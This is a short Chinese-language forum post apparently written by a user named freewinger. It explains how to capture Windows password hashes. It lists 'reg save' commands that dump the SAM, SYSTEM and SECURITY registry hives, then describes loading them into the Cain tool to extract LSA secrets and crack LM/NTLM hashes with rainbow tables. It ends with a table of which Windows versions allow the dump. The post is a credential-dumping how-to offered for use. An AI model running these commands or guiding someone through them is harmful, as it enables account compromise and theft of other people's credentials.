截取windows 密码 reg save

[天国之翼 freewinger]

reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive

然后把sam.hive,system.hive,security.hive 下载回本地，打开CAIN,在"Decoders"标签下，点"LSA Secrets",
点"+"来导入system.hive 和security.hive.

要破解LM/NTLM hash，首先点"cracker"标签下的"LM&NTLM hashes",然后点"+",导入sam.hive,注意由于
现在的win2000 以后都默认使用了syskey,所以还要导入system.hive 中的syskey 的值，然后就可以彩虹表
破解了。

后话：
这个方法不是对所有WINDOWS 发行版本都通用的，比如对win 2000 sp4,win xp sp2 就不行，对
win2003,2008 是管用的。具体工作列表如下：
Windows 2000 SP4 (admin) = access denied
Windows XP SP2 (admin) = access denied
Windows XP SP3 (admin) = access denied
Windows 2003 R2 SP2 (admin) = works
Windows Vista SP2 (UAC/admin) = works
Windows 2008 SP1 (admin) = works
Windows 7 (UAC/admin) = works 

开始搞活 看看最近的东西
--
好好活 不抛弃 不放弃